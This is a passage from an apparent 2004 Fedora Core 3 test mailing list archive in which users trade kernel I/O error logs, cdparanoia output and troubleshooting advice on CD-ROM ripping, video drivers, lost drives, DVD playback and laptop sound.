Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 0 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 0 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 4 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 1 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 8 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 2 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 12 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 3 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 16 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 4 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 20 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 5 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 24 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 6 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 28 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 7 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 32 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 8 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 36 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 9 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 40 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 10 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 44 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 11 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 48 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 12 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 52 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 13 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 56 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 14 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 60 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 15 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 64 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 16 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 68 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 17 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 72 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 18 Nov 14 11:12:32 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:32 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:32 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:32 localhost kernel: end_request: I/O error, dev hdc, sector 76 Nov 14 11:12:32 localhost kernel: Buffer I/O error on device hdc, logical block 19 Nov 14 11:12:46 localhost kernel: end_request: I/O error, dev hdc, sector 0 Nov 14 11:12:46 localhost kernel: Buffer I/O error on device hdc, logical block 0 Nov 14 11:12:46 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:46 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:46 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:46 localhost kernel: end_request: I/O error, dev hdc, sector 4 Nov 14 11:12:46 localhost kernel: Buffer I/O error on device hdc, logical block 1 Nov 14 11:12:47 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:47 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:47 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:47 localhost kernel: end_request: I/O error, dev hdc, sector 64 Nov 14 11:12:47 localhost kernel: Buffer I/O error on device hdc, logical block 16 Nov 14 11:12:47 localhost kernel: hdc: command error: status=0x51 { DriveReady SeekComplete Error } Nov 14 11:12:47 localhost kernel: hdc: command error: error=0x50 Nov 14 11:12:47 localhost kernel: ide: failed opcode was 100 Nov 14 11:12:47 localhost kernel: end_request: I/O error, dev hdc, sector 68 Nov 14 11:12:47 localhost kernel: Buffer I/O error on device hdc, logical block 17 Nov 14 11:13:47 localhost ntpd[2629]: synchronized to 128.208.109.7, stratum 3 Nov 14 11:14:50 localhost ntpd[2629]: synchronized to 80.253.108.112, stratum 2 -- Kim Lux (Mr.) Diesel Research Inc From maxer1 at xmission.com Sun Nov 14 18:31:35 2004 From: maxer1 at xmission.com (maxer1) Date: Sun, 14 Nov 2004 11:31:35 -0700 Subject: Alan - FC3 xorg doesn't support the x 700 pro Message-ID: <4197A487.3030603@xmission.com> I looked at my one install of FC3 with a ATI 9700 pro card and noticed that the only supported models of the new ATI Radeon X cards are : ATI Radeon X300, X600, X800LE, X800PRO, X800SE and X800XT. X700PRO is not listed. I checked this by running System Settings - Display Why have the PCI BUS ID been added yet for this one? Thanks, RaXeT From lux at diesel-research.com Sun Nov 14 18:36:15 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 11:36:15 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041114174103.GA6989@devserv.devel.redhat.com> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> Message-ID: <1100457375.3612.3.camel@localhost.localdomain> I am still running cdparanoia. I think you've fixed that problem as I am ripping a highly scratched CD and I am not getting any entries in system log. However, the progress is very, very slow. That may be because it is trying to get a perfect read from a scratched disk. On Sun, 2004-11-14 at 12:41 -0500, Alan Cox wrote: > On Sun, Nov 14, 2004 at 08:25:04AM -0700, Kim Lux wrote: > > Is this a request for me, allan ? > > Yep > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sun Nov 14 18:40:57 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 11:40:57 -0700 Subject: Features for FC4 In-Reply-To: <200411122335.28597.jeffy5@optonline.net> References: <200411122335.28597.jeffy5@optonline.net> Message-ID: <1100457657.3612.8.camel@localhost.localdomain> I'd like to request support for the 4 in 1 card reader on HP zd7000 laptops: ENE Technology Inc CB-710/2/4 Cardbus Controller. Right now the driver is "yenta_socket". Someone told me this was a TI_1250 device and that there was a BSD driver already supporting it. It might already be in Linux, it just might need to have the device ID added. I'm offering to test it. -- Kim Lux (Mr.) Diesel Research Inc From maxer1 at xmission.com Sun Nov 14 18:47:07 2004 From: maxer1 at xmission.com (maxer1) Date: Sun, 14 Nov 2004 11:47:07 -0700 Subject: Alan - FC3 xorg re-visited Message-ID: <4197A82B.1050505@xmission.com> My bad english spelling: I looked at my one install of FC3 with a ATI 9700 pro card and noticed that the only supported models of the new ATI Radeon X cards are : ATI Radeon X300, X600, X800LE, X800PRO, X800SE and X800XT. X700PRO is not listed. I checked this by running System Settings - Display Why hasn't the PCI BUS ID been added yet for this one? Thanks, RaXeT From lux at diesel-research.com Sun Nov 14 18:50:32 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 11:50:32 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100457375.3612.3.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> Message-ID: <1100458232.3743.3.camel@localhost.localdomain> cdparanoia ripped this song before without any issues. It has now been running for 15 minutes and has not finished it. Notice the "V"s and "+" in the rip status. V = uncorrect error/skip. '+' = Unreported loss of streaming/other error in read. I feel silly reporting errors about cd ripping, but I think it best illustrates the cdrom issues. On the bright side the sys log is entirely clean during all this. Please request further data/testing as you need it. $ cdparanoia -vB 4- cdparanoia III release 9.8 (March 23, 2001) (C) 2001 Monty and Xiphophorus Report bugs to paranoia at xiph.org http://www.xiph.org/paranoia/ Checking /dev/cdrom for cdrom... DMA scatter/gather table entries: 1 table entry size: 131072 bytes maximum theoretical transfer: 55 sectors Setting default read size to 24 sectors (56448 bytes). CDROM model sensed sensed: HL-DT-ST DVD+RW GCA-4040N 1.17 Checking for SCSI emulation... Drive is ATAPI (using SCSI host adaptor emulation) Checking for MMC style command set... Drive is MMC style Verifying CDDA command set... Expected command set reads OK. Table of contents (audio tracks only): track length begin copy pre ch =========================================================== 1. 17537 [03:53.62] 0 [00:00.00] no no 2 2. 15520 [03:26.70] 17537 [03:53.62] no no 2 3. 16025 [03:33.50] 33057 [07:20.57] no no 2 4. 16098 [03:34.48] 49082 [10:54.32] no no 2 5. 21085 [04:41.10] 65180 [14:29.05] no no 2 6. 13065 [02:54.15] 86265 [19:10.15] no no 2 7. 16425 [03:39.00] 99330 [22:04.30] no no 2 8. 17170 [03:48.70] 115755 [25:43.30] no no 2 9. 18295 [04:03.70] 132925 [29:32.25] no no 2 10. 15935 [03:32.35] 151220 [33:36.20] no no 2 11. 16122 [03:34.72] 167155 [37:08.55] no no 2 12. 16410 [03:38.60] 183277 [40:43.52] no no 2 13. 16483 [03:39.58] 199687 [44:22.37] no no 2 14. 18925 [04:12.25] 216170 [48:02.20] no no 2 15. 19675 [04:22.25] 235095 [52:14.45] no no 2 16. 15472 [03:26.22] 254770 [56:36.70] no no 2 TOTAL 270242 [60:03.17] (audio only) Ripping from sector 49082 (track 4 [0:00.00]) to sector 270241 (track 16 [3:26.21]) outputting to track04.cdda.wav (== PROGRESS == [+VVVVVVV++VVVVVVV> 0| 058472 00 ] == :-P 0 ==) On Sun, 2004-11-14 at 11:36 -0700, Kim Lux wrote: > I am still running cdparanoia. I think you've fixed that problem as I > am ripping a highly scratched CD and I am not getting any entries in > system log. However, the progress is very, very slow. That may be > because it is trying to get a perfect read from a scratched disk. > > > On Sun, 2004-11-14 at 12:41 -0500, Alan Cox wrote: > > On Sun, Nov 14, 2004 at 08:25:04AM -0700, Kim Lux wrote: > > > Is this a request for me, allan ? > > > > Yep > > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sun Nov 14 18:54:44 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 11:54:44 -0700 Subject: Sound issues for other zd7000 laptops (intel-8x0) Message-ID: <1100458484.3813.2.camel@localhost.localdomain> I'm not the only one that had this problem. As you can see from the post I am trying to find out more. http://www.zd7000forums.com/viewtopic.php?t=3646 -- Kim Lux (Mr.) Diesel Research Inc From ojgbagg27ab at msn.com Sun Nov 14 19:39:18 2004 From: ojgbagg27ab at msn.com (alton bailey) Date: Sun, 14 Nov 2004 14:39:18 -0500 Subject: Lost Hard drives References: Message-ID: just do a reinstallation and mount the drives so that grub or lilo can find them that happen to me and that the only way I could get them back good luck ----- Original Message ----- From: JERRY WHITMIRE To: fedora-test-list at redhat.com Sent: Saturday, November 13, 2004 7:22 PM Subject: Lost Hard drives After i updated my Fedora core 3 test 3 it will not find my hdb with Win Xp. or hdc that i use for all of my extra downloads .they are fat 32 format I know this has come up before but i do not know how to get them back. Can someone tell me in layman terms on how to do this? This is one of the big feathers i found a grate need for. Any help would be a real big help. Thanks. {Keep up the grate work on Fedora} Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today - it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ -- fedora-test-list mailing list fedora-test-list at redhat.com To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-test-list -------------- next part -------------- An HTML attachment was scrubbed... URL: From lux at diesel-research.com Sun Nov 14 20:19:47 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 13:19:47 -0700 Subject: Lost Hard drives In-Reply-To: References: Message-ID: <1100463587.4298.23.camel@localhost.localdomain> It shouldn't be necessary to reinstall. Please post your grub.conf file. On Sun, 2004-11-14 at 14:39 -0500, alton bailey wrote: > just do a reinstallation and mount the drives so that grub or lilo can > find them that happen to me and that the only way I could get them > back good luck > ----- Original Message ----- > From: JERRY WHITMIRE > To: fedora-test-list at redhat.com > Sent: Saturday, November 13, 2004 7:22 PM > Subject: Lost Hard drives > > > After i updated my Fedora core 3 test 3 it will not find my > hdb with Win Xp. > or hdc that i use for > all of my extra downloads they are fat 32 format I know this > has come up > before but i do not know how to get them back. > Can someone tell me in layman terms on how to do this? This is > one of the > big feathers i found a grate need for. Any help would be a > real big help. > Thanks. {Keep up the grate work on Fedora} > Jerry W. Whitmire > jerryw4386 at msn.com > > _________________________________________________________________ > Express yourself instantly with MSN Messenger! Download today > - it's FREE! > http://messenger.msn.click- > url.com/go/onm00200471ave/direct/01/ > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sun Nov 14 20:20:46 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 13:20:46 -0700 Subject: Lost Hard drives In-Reply-To: References: Message-ID: <1100463647.4298.25.camel@localhost.localdomain> Does your fc3 boot ? On Sun, 2004-11-14 at 14:39 -0500, alton bailey wrote: > just do a reinstallation and mount the drives so that grub or lilo can > find them that happen to me and that the only way I could get them > back good luck > ----- Original Message ----- > From: JERRY WHITMIRE > To: fedora-test-list at redhat.com > Sent: Saturday, November 13, 2004 7:22 PM > Subject: Lost Hard drives > > > After i updated my Fedora core 3 test 3 it will not find my > hdb with Win Xp. > or hdc that i use for > all of my extra downloads they are fat 32 format I know this > has come up > before but i do not know how to get them back. > Can someone tell me in layman terms on how to do this? This is > one of the > big feathers i found a grate need for. Any help would be a > real big help. > Thanks. {Keep up the grate work on Fedora} > Jerry W. Whitmire > jerryw4386 at msn.com > > _________________________________________________________________ > Express yourself instantly with MSN Messenger! Download today > - it's FREE! > http://messenger.msn.click- > url.com/go/onm00200471ave/direct/01/ > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From perbj at stanford.edu Sun Nov 14 20:21:17 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 14 Nov 2004 12:21:17 -0800 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100443747.19116.23.camel@lion> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> <1100404935.19116.17.camel@lion> <1100406347.3396.11.camel@localhost.localdomain> <1100443747.19116.23.camel@lion> Message-ID: <1100463677.3031.28.camel@ferrari.localdomain> On Sun, 2004-11-14 at 06:49, Ernest L. Williams Jr. wrote: > > Looking back through the thread, I'm actually not sure that this is the > > problem... Do you have libdvdcss installed? > Oops, I don't. I only built xine and kaffeine from source. So you're being a good citizen and not using the evil DeCSS code! ;) Well, sorry, no soup for you, or rather, no watching of the DVDs you paid for! I think you might need to recompile xine-lib after installing libdvdcss, I believe that checking for the availability is done at compile time. Good luck! Per From trulsg at broadpark.no Sun Nov 14 20:58:51 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Sun, 14 Nov 2004 21:58:51 +0100 Subject: FC3 - wrong screen resolution - A bug? - reposted In-Reply-To: <41950842.2090408@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> <41950842.2090408@broadpark.no> Message-ID: <4197C70B.9030304@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Truls Gulbrandsen wrote: | Truls Gulbrandsen wrote: | | Truls Gulbrandsen wrote: | | | Jim Cornette wrote: | | | | Truls Gulbrandsen wrote: | | | | | | | |> -----BEGIN PGP SIGNED MESSAGE----- | | | |> Hash: SHA1 | | | |> | | | |> Hi, | | | |> I have now installed fc3 to my desktop an IBM PC300PL with an IBM912 | | | |> T521 LCD screen the video card is VESA | | | |> | | | |> ...snip | | | | | | | | | | | | I looked up the specs for your desktop. The video info is below. The | | | | vesa driver is sort of a generic driver. Is the S3 Trio listed? | | | | | | | | Have you tried to add the desired resolution into your xorg.conf | file? | | | | Say "1024x768" "800x600" in front of the "640x480" entry? | | | | | | | | Jim | | | | | | | | Monitor and Graphics | | | | Video Integration Integrated | | | | Installed Video Memory 4 MB | | | | Included Video Card Graphic card - AGP - S3 Trio3D integrated | | | | | | | | | | | |> | | | |> Regards, | | | |> Truls | | | | | | | | | | | Thanks for feedback. | | | | | | Yes the correct video card is Trio 64 3D and it is listed. So I went | | | system settings ==> display and set the correct video card. | | | | | | Then I got an error message saying that the system would log out of X | | | and correct an error. It never came back. So I rebooted but now the | | | boot sequence goes to: | | | | | | Starting udev: (ok) | | | Initializing hardware..... storage network audio done (ok) | | | Configuring kernel parameters: | | | | | | and there it hangs unresponsive. | | | | | | Probably I have to start the install process over again? | | | | | | Regards, | | | Truls | | | | I found that when hittin ctrl-C after the system hangs it actually | | continues to boot and gives me a command line. | | | | The problem is that system settings - display did not update my | | xorg.conf file correctly. The driver name for the video card was not | | replaced with the corect one but ended up as mix of "Vesa" and "S3Trio3D" | | | | I tried to correct this using vi but am not able to open the file in | | edit modus. I'm told it is a read only file. | | | | Any suggestions? | | | | Truls | Ok, I have followed all advices given under this thread without success. | | So, I did a fresh install of FC3 from the cds and the following happens. | | Upon installation fc doesn't recognize my video card and set it up as | VESA generic. That works in the way that my screen background seem to | have the correct resolution but applications and icons etc. seems work | at 640x480. | | Then, when I change to video card S3 Trio64 3D and reboot I'm back to | the original problem. The systems load all the way to: | | Starting udev: (ok) | Initializing hardware..... storage network audio done (ok) | Configuring kernel parameters: | | ~ | | INIT: Entering runlevel: 5 | Starting readahead early: (ok) | Checking for new hardware: (ok) | touch: cannot touch '/var/touch/subsys/kudzu': Read-only file system | Applying iptables: firewal rules (ok) | touch: cannot touch '/var/touch/subsys/iptables': Read-only file system | Starting pcmcia: (ok) | etc | etc | | Am I doing something wrong or the system? | | Regards | Truls ~ Hi, I post this one more time to see if someone out there has the solution to my problem. Thanks for valuable input Jim but it didn't work this unfortunately. Howerever, I learned a lot so it was not waisted. Regard, Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBl8cLickK29LSyG8RAmyWAJ9IUhbHioTkwf05FTLTgi2+wgfbXQCfVtB9 NlLJBct8TIQ7dsVwAWN47c0= =5Bgc -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From jonathansavage at gmail.com Sun Nov 14 21:31:33 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Sun, 14 Nov 2004 13:31:33 -0800 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100463677.3031.28.camel@ferrari.localdomain> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> <1100404935.19116.17.camel@lion> <1100406347.3396.11.camel@localhost.localdomain> <1100443747.19116.23.camel@lion> <1100463677.3031.28.camel@ferrari.localdomain> Message-ID: <2ad7cea104111413317e551269@mail.gmail.com> > So you're being a good citizen and not using the evil DeCSS code! ;) > Well, sorry, no soup for you, or rather, no watching of the DVDs you > paid for! > > I think you might need to recompile xine-lib after installing libdvdcss, > I believe that checking for the availability is done at compile time. > > Good luck! > Per I got ogle + ogle_gui + deps (*CSS) etc. from livna.org Worksforme until: a. The gstreamer stuff for core 3 becomes available & totem's DVD support is reenabled. or b. I get arrested for watching DVDs I own... (BB are you reading this??) I guess I'm not a good citizen after all... -- Bests, Jon From timothy at jupiter.stcl.edu Sun Nov 14 21:46:09 2004 From: timothy at jupiter.stcl.edu (Timothy Sandel) Date: Sun, 14 Nov 2004 15:46:09 -0600 Subject: Playing DVD's In-Reply-To: <41979087.70006@earthlink.net> References: <41979087.70006@earthlink.net> Message-ID: <1100468769.5866.6.camel@mercury> On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > I found out that when you install the Xine programs it only works > properly if you use it under the KDE! I'm using the latest Fedora. For > some reason if I try to play a DVD under the default (Gnome) GUI, Xine > will not work properly at all. Changing to the KDE gui makes > everything work flawlessly. > I use Xine 0.99.2 (install xine-ui from source), Mplayer 1.0-0.11.pre5 and VLC 0.7.2 without any issues under FC3/Gnome. From lux at diesel-research.com Sun Nov 14 22:07:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 15:07:56 -0700 Subject: Playing DVD's In-Reply-To: <1100468769.5866.6.camel@mercury> References: <41979087.70006@earthlink.net> <1100468769.5866.6.camel@mercury> Message-ID: <1100470076.9286.0.camel@localhost.localdomain> Could you test that under KDE and report back ? On Sun, 2004-11-14 at 15:46 -0600, Timothy Sandel wrote: > On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: > > I found out that when you install the Xine programs it only works > > properly if you use it under the KDE! I'm using the latest Fedora. For > > some reason if I try to play a DVD under the default (Gnome) GUI, Xine > > will not work properly at all. Changing to the KDE gui makes > > everything work flawlessly. > > > I use Xine 0.99.2 (install xine-ui from source), Mplayer 1.0-0.11.pre5 > and VLC 0.7.2 without any issues under FC3/Gnome. > > -- Kim Lux (Mr.) Diesel Research Inc From bavinic at comcast.net Sun Nov 14 22:14:07 2004 From: bavinic at comcast.net (Jim Martin) Date: Sun, 14 Nov 2004 17:14:07 -0500 Subject: Playing DVD's In-Reply-To: <1100470076.9286.0.camel@localhost.localdomain> References: <41979087.70006@earthlink.net> <1100468769.5866.6.camel@mercury> <1100470076.9286.0.camel@localhost.localdomain> Message-ID: <4197D8AF.2010102@comcast.net> Kim Lux wrote: >Could you test that under KDE and report back ? > >On Sun, 2004-11-14 at 15:46 -0600, Timothy Sandel wrote: > > >>On Sun, 2004-11-14 at 11:06 -0600, Diahron Grismore wrote: >> >> >>>I found out that when you install the Xine programs it only works >>>properly if you use it under the KDE! I'm using the latest Fedora. For >>>some reason if I try to play a DVD under the default (Gnome) GUI, Xine >>>will not work properly at all. Changing to the KDE gui makes >>>everything work flawlessly. >>> >>> >>> >>I use Xine 0.99.2 (install xine-ui from source), Mplayer 1.0-0.11.pre5 >>and VLC 0.7.2 without any issues under FC3/Gnome. >> >> >> >> For what it is worth, I installed mplayer with apt-get and it plays my dvd's just fine, no problems, and I am in KDE. BaVinic From bednar007 at gmail.com Sun Nov 14 22:33:34 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Sun, 14 Nov 2004 23:33:34 +0100 Subject: No sound on laptop, any progress? Message-ID: <38f00b2a04111414335eddee3@mail.gmail.com> Hi, is there any progress with sound on "snd-intel8x0" in laptops? I've added some debug info from aplay on https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136082 Darek Borkowski From joelbryanster at gmail.com Sun Nov 14 22:42:26 2004 From: joelbryanster at gmail.com (joelbryan) Date: Mon, 15 Nov 2004 06:42:26 +0800 Subject: Features for FC4 In-Reply-To: <1100457657.3612.8.camel@localhost.localdomain> References: <200411122335.28597.jeffy5@optonline.net> <1100457657.3612.8.camel@localhost.localdomain> Message-ID: In the anaconda installer for grub, it says "DOS" for Microsoft Windows, and "Fedora Core" for Linux. Is there's a way to detect the foreign OS so it would not end up saying "DOS" as a label. From lux at diesel-research.com Sun Nov 14 23:00:49 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 16:00:49 -0700 Subject: No sound on laptop, any progress? In-Reply-To: <38f00b2a04111414335eddee3@mail.gmail.com> References: <38f00b2a04111414335eddee3@mail.gmail.com> Message-ID: <1100473249.9333.1.camel@localhost.localdomain> Yep. The solution is to add snd-intel8x0m to /etc/hotplug/blacklist so that it isn't treated as a USB hotplug device. Specifically: 1) Add snd-intel8x0m to /etc/hotplug/blacklist and rebooted. 2) KDE->ControlCenter->Sound & Multimedia-> Sound System- >Enable. Leave everything as default. 3) KDE->System Settings->Soundcard Detection. It detected my soundcard and it has worked ever since. If you have further trouble, check kmix and see that your input and output levels are set correctly. If you still have trouble, which I doubt you will, start using the alsa graphical tools, ie alsa-mix, etc to see where things are set. Please tell us if you installed FC3 fresh or with an update and what from. On Sun, 2004-11-14 at 23:33 +0100, Darek Borkowski wrote: > Hi, is there any progress with sound on "snd-intel8x0" in laptops? > > I've added some debug info from aplay on > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136082 > > Darek Borkowski > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sun Nov 14 23:07:07 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 16:07:07 -0700 Subject: Playing DVD's 